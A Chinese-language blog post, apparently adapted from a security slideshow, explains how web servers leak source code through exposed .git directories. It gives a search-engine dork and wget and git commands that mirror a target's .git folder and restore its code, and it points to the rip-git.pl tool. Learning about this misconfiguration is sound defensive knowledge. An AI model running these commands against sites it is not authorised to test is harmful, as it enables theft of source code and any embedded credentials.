本来是看到这个文章,觉得还不错,想简单翻译一下搬到博客上来。结果晚上就发现一篇更详细的ppt。
原 ppt 链接 http://www.slideshare.net/kost/ripping-web-accessible-git-files
中文翻译基于 http://zone.wooyun.org/content/18004,有修改~
在运行git init初始化代码库的时候 会在当前目录下产生.git目录,用来记录代码的变更等等
.git目录结构如下
sky@linux:~/git-repo/test$ tree .git
.git
├── branches
├── config
├── description
├── HEAD
├── hooks
│ ├── applypatch-msg.sample
│ ├── commit-msg.sample
│ ├── post-update.sample
│ ├── pre-applypatch.sample
│ ├── pre-commit.sample
│ ├── prepare-commit-msg.sample
│ ├── pre-push.sample
│ ├── pre-rebase.sample
│ └── update.sample
├── info
│ └── exclude
├── objects
│ ├── info
│ └── pack
└── refs
├── heads
└── tags
9 directories, 13 files
发布代码的之后,直接把开发目录拷贝过去(.git)也在里面,然后就中奖了。。。
google一下:".git" intitle:"index of"
人肉获取法:
mkdir git-test
cd git-test
#下载.git文件
wget --mirror --include-directories=/.git http://www.target.com/.git
cd www.target.com
#版本回退,得到了源代码
git reset --hard
如果apache是Options FollowSymLinks,.git访问是403,上面这种人肉法就失效了。。。
需要借助工具,来遍历关键文件并下载恢复: https://github.com/kost/dvcs-ripper
rip-git.pl
Example: ./rip-git.pl -v -u http://www.example.com/.git/
实例: WooYun: 友盟网git服务使用不当导致源代码泄露 被忽视的开发安全问题 HCTF writeup(web) One git command may cause you hacked(CVE-2014-9390)
git教程(写的真心详细) http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000